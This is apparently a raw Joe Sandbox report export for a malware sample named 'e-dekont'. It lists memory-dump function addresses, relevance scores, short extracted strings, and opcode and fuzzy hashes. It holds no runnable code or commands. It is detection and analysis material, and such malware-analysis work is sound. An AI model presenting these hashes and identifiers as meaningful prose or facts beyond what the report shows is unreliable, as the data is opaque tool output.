Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 67b59375ce7875dde472d94b900da595965336843121ecf8b54be133843968a1
Instruction ID: 7afa863be38fb570ac8315ddb0ee5711671c66fe6ff84d3a788217334b68ac7d
Opcode Fuzzy Hash: 67b59375ce7875dde472d94b900da595965336843121ecf8b54be133843968a1
Instruction Fuzzy Hash: AD81B774E00209DFDB14DFAAD994A9DBBF2BF88310F24C06AE509AB365DB349941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DCBC32 Relevance: 6.4, Strings: 5, Instructions: 190
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 02DCBE25
LjAp, xrefs: 02DCBE0F
PH^q, xrefs: 02DCBE87
0oAp, xrefs: 02DCBCA2
PH^q, xrefs: 02DCBE98

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: afe4d13357ac5989702cf8d2cac22e6a0a249d8923294c5db960ce819bb56d12
Instruction ID: 670b5102e10e49106b2c064cf02c8886348c59845c37cd4044a56f81d6653bc8
Opcode Fuzzy Hash: afe4d13357ac5989702cf8d2cac22e6a0a249d8923294c5db960ce819bb56d12
Instruction Fuzzy Hash: A081A874E00219DFDB54DFA9D984A9DBBF2BF88304F24806AD409AB365DB359941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DCC1F0 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjAp, xrefs: 02DCC3CF
PH^q, xrefs: 02DCC458
PH^q, xrefs: 02DCC447
LjAp, xrefs: 02DCC3E5
0oAp, xrefs: 02DCC262

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: e0c65be0b6ed0a5cbe7358021647c5027f72340fc186b50ad4cb3af48161790f
Instruction ID: 2db4f2308d91505b316c121c249505502f56495e6f2c4cb2dc7da5a88d092cb6
Opcode Fuzzy Hash: e0c65be0b6ed0a5cbe7358021647c5027f72340fc186b50ad4cb3af48161790f
Instruction Fuzzy Hash: 8681A374E10209DFDB14DFAAD994A9DBBF2BF88300F24C06AE549AB365DB349941CF10

Uniqueness

Uniqueness Score: -1.00%

Function 02DC4B31 Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0oAp, xrefs: 02DC4BA2
LjAp, xrefs: 02DC4D10
PH^q, xrefs: 02DC4D88
LjAp, xrefs: 02DC4D26
PH^q, xrefs: 02DC4D99

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: 1f0487fb097c9c0baa1c4535dcc1be6a77c441292897899739d8095c4b224efb
Instruction ID: cd072ec6b87757c98ad8852ba9a0aec6fd1d9ef68025b8e7a86bb7297bf8c984
Opcode Fuzzy Hash: 1f0487fb097c9c0baa1c4535dcc1be6a77c441292897899739d8095c4b224efb
Instruction Fuzzy Hash: 9A81A674E00219DFDB54DFA9D994A9DBBF2BF88300F24C069E809AB365DB349981CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DCCA91 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PH^q, xrefs: 02DCCCE7
0oAp, xrefs: 02DCCB02
LjAp, xrefs: 02DCCC6F
PH^q, xrefs: 02DCCCF8
LjAp, xrefs: 02DCCC85

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$LjAp$LjAp$PH^q$PH^q
API String ID: 0-1487592376
Opcode ID: d0cc945e032e86d8919f3071043e1320e242fe234c1bd6ef291c8c3c0a6cb4aa
Instruction ID: e398b4f9a9e497ad664ec23692ad53f0a5dd32e9b6c98bf36628a3b5a58c179f
Opcode Fuzzy Hash: d0cc945e032e86d8919f3071043e1320e242fe234c1bd6ef291c8c3c0a6cb4aa
Instruction Fuzzy Hash: 9A81B774E002199FDB54DFA9D984A9DBBF2BF88300F24C06AE809AB365DB349D41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DC6790 Relevance: 5.4, Strings: 4, Instructions: 444
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 02DC69DA
,bq, xrefs: 02DC6A60
,bq, xrefs: 02DC6A52
(o^q, xrefs: 02DC69E8

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq
API String ID: 0-879173519
Opcode ID: b80aeeb17a01478440f7d49452b7acd53a231698961b99c2055f03082b569cce
Instruction ID: 5e412e3ab7e63c84ee2f7a74a34469c63985df7a05e51e505231543ac3ef69f9
Opcode Fuzzy Hash: b80aeeb17a01478440f7d49452b7acd53a231698961b99c2055f03082b569cce
Instruction Fuzzy Hash: 98020B71A0011ADFCB14DF69C984AADBBFAFF88304F258469E455AB3A1D730DD45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02DCB552 Relevance: 3.9, Strings: 3, Instructions: 160COMMON

Download Yara Rule

Strings

PH^q, xrefs: 02DCB7A7
0oAp, xrefs: 02DCB5C2
PH^q, xrefs: 02DCB7B8

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: 0oAp$PH^q$PH^q
API String ID: 0-4194141968
Opcode ID: bbafb0da93ab1fb43fe553a5a2f97649bf68f7ec462f80401da900d143d9deee
Instruction ID: 678322c3a62f84d28baa114d290dc86c7a662a482f114dd2310e8e37d370ce69
Opcode Fuzzy Hash: bbafb0da93ab1fb43fe553a5a2f97649bf68f7ec462f80401da900d143d9deee
Instruction Fuzzy Hash: 9161C874E006499FDB18DFAAD984A9DBBF2FF88304F24C06AD815AB365DB349841CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02DC98B8 Relevance: 3.4, Strings: 2, Instructions: 860COMMON

Download Yara Rule

Strings

4'^q, xrefs: 02DCA2D3
(o^q, xrefs: 02DC9CD8

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: 6425d4c403c77543ea64474012f7e56f1d849e1e3f39d12950e9ef306c880071
Instruction ID: 0f1e0da6013db3e6efae1dbbd55d72e48c05c35eb26464b394f9409388eef7ff
Opcode Fuzzy Hash: 6425d4c403c77543ea64474012f7e56f1d849e1e3f39d12950e9ef306c880071
Instruction Fuzzy Hash: 9E72AC70A0021ADFCB15CFA8C994AAEBBF2FF89310F258559E8459B3A5D731EC51CB50

Uniqueness

Uniqueness Score: -1.00%

Function 02DC6168 Relevance: 3.0, Strings: 2, Instructions: 513COMMON

Download Yara Rule

Strings

Hbq, xrefs: 02DC656E
(o^q, xrefs: 02DC66A2

Memory Dump Source

Source File: 00000002.00000002.4087771511.0000000002DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2dc0000_e-dekont.jbxd

Similarity

API ID:
String ID: (o^q$Hbq
API String ID: 0-662517225
Opcode ID: a04f122cd77895e6043fc6830124a7da424839e8f07b43c577efaf454eafdfb8
Instruction ID: 391f55ae6d2c525a007f43f8eb13240852c56ea61e8a50b79f170fd7cac50099
Opcode Fuzzy Hash: a04f122cd77895e6043fc6830124a7da424839e8f07b43c577efaf454eafdfb8
Instruction Fuzzy Hash: 49128C70A0021A8FDB14DF69C894AAEBBFABFC8304F24856DE5459B395DB34DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06C09091 Relevance: 2.7, Strings: 2, Instructions: 193COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06C092FB
PH^q, xrefs: 06C092EA

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: f367fcc40e0bc7eae142a4df1c1e62d98fbe3d60324c004369a30c9994ba9237
Instruction ID: 3df0314322802e0f16e4968e501e29af2e3f37bca2b3e4e149b2a36a3f20242f
Opcode Fuzzy Hash: f367fcc40e0bc7eae142a4df1c1e62d98fbe3d60324c004369a30c9994ba9237
Instruction Fuzzy Hash: 5881E274E04218CFEB58CFAAD9947EDBBF2BF89300F20916AD409AB295DB345945CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B489B0 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce5096e68e74a07685b74dc67a1699c8dcddf608247dbb2fe85c62c409ac18a7
Instruction ID: a5073c7692d940b8571b93681ec9678a9c88fbfb54476793e499f0fbd5f3e8c5
Opcode Fuzzy Hash: ce5096e68e74a07685b74dc67a1699c8dcddf608247dbb2fe85c62c409ac18a7
Instruction Fuzzy Hash: 16F1F474E01218DFDB24DFA9D884B9DBBB2BF88304F14C1A9E408AB355DB75A985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 05B4BE28 Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05B4BE79

Memory Dump Source

Source File: 00000002.00000002.4091126891.0000000005B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5b40000_e-dekont.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 33089aad69faadcea4950514c90d1b58f979e79f0c870124b1f55ad99cb2f14c
Instruction ID: 63ccf5863897cd160574f925411d610fa05d5f36fb08f9a48ef2b30627f2cd69
Opcode Fuzzy Hash: 33089aad69faadcea4950514c90d1b58f979e79f0c870124b1f55ad99cb2f14c
Instruction Fuzzy Hash: A84168B4A052089BDB14CF99D484ADDFBB2FF88300F24D168E5086B381CB31A986DF90

Uniqueness

Uniqueness Score: -1.00%

Function 06C015F8 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a49e2b56aab27d6bbed474c023ad76c99cdfa458b785a2b43beeee35fcd347
Instruction ID: b52e489da9555a41b5b0b3ca54eaa5e891ec6cd04ec28bd9f76060cc99ff8111
Opcode Fuzzy Hash: d3a49e2b56aab27d6bbed474c023ad76c99cdfa458b785a2b43beeee35fcd347
Instruction Fuzzy Hash: 11826C74E012288FDB64DF69C998BDDBBB2BB89300F1481EA940DA7365DB355E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 06C08A58 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63e5b7fbd35411cc3a799d5dad6ec9bde457cc1d37363d944271f7ef5d2194e2
Instruction ID: 0d8a61f7eec98b769fa6bac3dfb7cccce033257f7dbf9220ae7b3201bf274999
Opcode Fuzzy Hash: 63e5b7fbd35411cc3a799d5dad6ec9bde457cc1d37363d944271f7ef5d2194e2
Instruction Fuzzy Hash: C3E1B174E01218CFEB64DFA5C954B9DBBB2BF89304F2081AAD409AB394DB355E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C074A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77158af645d33f579d03f32ad9e6f64b623abfdb2d150c50d3585dfde74bf9cb
Instruction ID: 2f65c168d9b2d7b8b993b2aaf6fe5ba9fda002eb74efd71c16c26aef7662dce1
Opcode Fuzzy Hash: 77158af645d33f579d03f32ad9e6f64b623abfdb2d150c50d3585dfde74bf9cb
Instruction Fuzzy Hash: EAC18F74E01218CFDB54DFA5C994B9DBBB2BF89300F2081A9D409AB364DB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C0DAC0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 859e8bf4f2c19a17ae716f221417f2ae634609f27ff5e32650579052c86273b0
Instruction ID: 43d66e007737f52972cc295858fe24ce7fa14d7366b7d445be15087b934a7350
Opcode Fuzzy Hash: 859e8bf4f2c19a17ae716f221417f2ae634609f27ff5e32650579052c86273b0
Instruction Fuzzy Hash: 8BA1A174E012288FEB68CF6AD944B9DFBF2AF89300F14C0AAD40DA7255DB745A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0CE28 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe0e027bfeeabf76acfdd4eadfcfb804438317ec26e0807316983e678771a799
Instruction ID: 8ed61757ff9b60bc49e5690f86f3a8ca06884a454296aa4ef51e3ff48f0645ae
Opcode Fuzzy Hash: fe0e027bfeeabf76acfdd4eadfcfb804438317ec26e0807316983e678771a799
Instruction Fuzzy Hash: D0A1A174E012188FEB68CF6AD944B9DFBF2AF89300F14C1AAD40DA7255DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0C7D8 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66f284a71c2306bda3b870f78ca1d6603009d2c75159589ce06be3e3a79d99b6
Instruction ID: 4d8dd31dd99e4b19a666f09195d1dfc0c532e996c281f200de84b780b3b1b65d
Opcode Fuzzy Hash: 66f284a71c2306bda3b870f78ca1d6603009d2c75159589ce06be3e3a79d99b6
Instruction Fuzzy Hash: D5A1A2B4E012188FEB68CF6AD944B9DBBF2AF89300F14D1AAD40DA7254DB345A85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 06C0BB38 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6567b791d1346610a63d58f7753474bd17927282aa019c933e0457a83c4bd4cd
Instruction ID: 986c2a1d9699ca8101c1061f557e3853253478cfd327e69cadc0a5084d8e9f59
Opcode Fuzzy Hash: 6567b791d1346610a63d58f7753474bd17927282aa019c933e0457a83c4bd4cd
Instruction Fuzzy Hash: 78A1AF74E012288FEB68CF6AD944B9DFBF2AF89300F14C0AAD50DA7254DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0A858 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a00d1b11075a911360821fceb4c09170da8a629aab1a9a3fbfbc5eab75dcca69
Instruction ID: 3676109b1e3d68d85f507d6eb254bb81590c5a977866270c76865231c7da9dae
Opcode Fuzzy Hash: a00d1b11075a911360821fceb4c09170da8a629aab1a9a3fbfbc5eab75dcca69
Instruction Fuzzy Hash: 9CA1A274E012288FEB68CF6AC944B9DBBF2BF89300F14C0AAD40DA7255DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0C188 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3a763ad01b2fff67603ad69fe493b12f10b15dc4473dfc9cdc70b2c8fcd8b04
Instruction ID: 6752fde33adbaa90c24174e39d60746d8d05ed689c83987b3be12307e460fc58
Opcode Fuzzy Hash: a3a763ad01b2fff67603ad69fe493b12f10b15dc4473dfc9cdc70b2c8fcd8b04
Instruction Fuzzy Hash: A4A19274E012188FEB68CF6AD944B9DFBF2BF89300F14C1AAD409A7255DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0AEA8 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76c9658a661ea1b74a28730959c5c5fbe671933089b9c8cf64b854b28302f5a4
Instruction ID: dbb9ab001aa2904d2871910f602aee646d50a45e815ee0089926a04b63d63227
Opcode Fuzzy Hash: 76c9658a661ea1b74a28730959c5c5fbe671933089b9c8cf64b854b28302f5a4
Instruction Fuzzy Hash: BFA192B4E012188FEB68CF6AC944B9DFBF2AF89300F14C0AAD508A7255DB355A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0B4F0 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6bc799beff7aedfdafb834b30cff2a527c1b1e88970239387c11b30858a9d10
Instruction ID: 52552b6a480775892ed649f27112f40cd6e75613679b6cb1ea972d0f47e55a14
Opcode Fuzzy Hash: f6bc799beff7aedfdafb834b30cff2a527c1b1e88970239387c11b30858a9d10
Instruction Fuzzy Hash: 12A19174E012188FEB68CF6AC944B9DFBF2AF89300F14C1AAD40DA7255DB355A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0D478 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4e04bda4c145d59cef46d23579ae3b4600d304cc9b1763745efedfde273ceb5
Instruction ID: 97e0e5d271859af1001d9179a5776f58a665ac5fe907eed757d123d73135d0b3
Opcode Fuzzy Hash: b4e04bda4c145d59cef46d23579ae3b4600d304cc9b1763745efedfde273ceb5
Instruction Fuzzy Hash: 34A19074E012288FEB68CF6AD944B9DFBF2AF89300F14D4AAD40DA7254DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0B4E0 Relevance: .2, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 057ca7153d7b38728d943bf61454c64d695674500453b36fb4dadf5b3b915e6b
Instruction ID: 0fc40af44f8b35c050c3a803bb8796b21e3baed2e7776811c7c2799658218394
Opcode Fuzzy Hash: 057ca7153d7b38728d943bf61454c64d695674500453b36fb4dadf5b3b915e6b
Instruction Fuzzy Hash: 647195B1E016188FEB68CF6AC944B9DFBF2AF89300F14C1AAD50DA7254DB305A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0D468 Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 905fd8b2833b5b809bdd26e5bbd85e195b3af1839d37ca1097be4f5c06377a51
Instruction ID: 1ef9ed0a8955fe6da4796cd86f6551e792f61f24c628f38610ead1a6189c1381
Opcode Fuzzy Hash: 905fd8b2833b5b809bdd26e5bbd85e195b3af1839d37ca1097be4f5c06377a51
Instruction Fuzzy Hash: A3819570E016198FEB68CF6AC944B9DFBF2AF89300F14C5AAD40DA7254DB345A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0AE98 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d55b08c4113b63012ce9d5971d4eaa732f4601332ea5ed252032c5afdbfa3817
Instruction ID: 4e9a209ec6fd4f1928181f178f638cb490d2561aebf2b5b8f1aae13a6ba42ec3
Opcode Fuzzy Hash: d55b08c4113b63012ce9d5971d4eaa732f4601332ea5ed252032c5afdbfa3817
Instruction Fuzzy Hash: 3C7183B1E016188FEB68CF6AC944B9DBBF2AF89300F14C1AAD50DA7254DB344A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06C08A48 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad63d247962b05de8d517c8635c7282223e248bc8608b131431ba951c0ab29a
Instruction ID: cd81b8b0f9dde7a912842967165ec988fcffdf4adcd0e82646c07946722d0a83
Opcode Fuzzy Hash: aad63d247962b05de8d517c8635c7282223e248bc8608b131431ba951c0ab29a
Instruction Fuzzy Hash: FB41B3B0D012188BEB58DFAAC8447DEFBF2BF88304F24D069D458AB294DB755946CF64

Uniqueness

Uniqueness Score: -1.00%

Function 06C0A848 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed317d95197c9a062b4c0b84af543c6779c0364e7a76576b3112a2a01846ff9
Instruction ID: deefb82b6c6d93022d027d7826953ede7298a8a5478815dbd7ab9cc85163aba5
Opcode Fuzzy Hash: 7ed317d95197c9a062b4c0b84af543c6779c0364e7a76576b3112a2a01846ff9
Instruction Fuzzy Hash: B7417AB1E016188BEB58CF6BC9457C9FBF3AFC9304F04C1AAC50CA6264DB340A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0C7C9 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c5dbc1cff9ef99f420a01bb1b49165d12044dca07ef863fc723cc84df807749
Instruction ID: 8877d098644319272e10376d4ea3910042e84b3eb9a5603536eedfee6fe59179
Opcode Fuzzy Hash: 3c5dbc1cff9ef99f420a01bb1b49165d12044dca07ef863fc723cc84df807749
Instruction Fuzzy Hash: 16416B71E016188BEB58CF6BD9457DAFBF3AFC9300F14C1AAC50CA6254DB740A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0DAAF Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9722d4131bf1ab2ca25cfde64e98f5c406799d88e07dad4889051f2ceeabd0b
Instruction ID: 3cfb86193fe2601969756faac7b449bf27ac7b9ff420aea28edb6e7c78931d68
Opcode Fuzzy Hash: c9722d4131bf1ab2ca25cfde64e98f5c406799d88e07dad4889051f2ceeabd0b
Instruction Fuzzy Hash: 8B4169B1E016188BEB58CF6BC9457CAFAF3AFC9300F14C1BAD50CA6264DB740A858F51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0CE18 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8ba3045e85bba19c46a14c6464b7ea3d06b10d1867545db55e41708e43f112
Instruction ID: 4384de1aa1313df8b9f6928c1b5e01aa09dfce6ac72eb1eb657454a088960fd0
Opcode Fuzzy Hash: ca8ba3045e85bba19c46a14c6464b7ea3d06b10d1867545db55e41708e43f112
Instruction Fuzzy Hash: 7D4179B1E016188BEB58CF6BD9457C9FAF3AFC9300F14C1AAC54CA6265DB740A868F51

Uniqueness

Uniqueness Score: -1.00%

Function 06C0BB27 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4091765112.0000000006C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c00000_e-dekont.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1addc3408327594b26022235c56ba47ee2dd1820f6da613b0b3c3d36a5833740
Instruction ID: bc75a128c1f1a7141c952dd6b23e05598b6f1fd39b4a57dc9d56c78caa9ee789
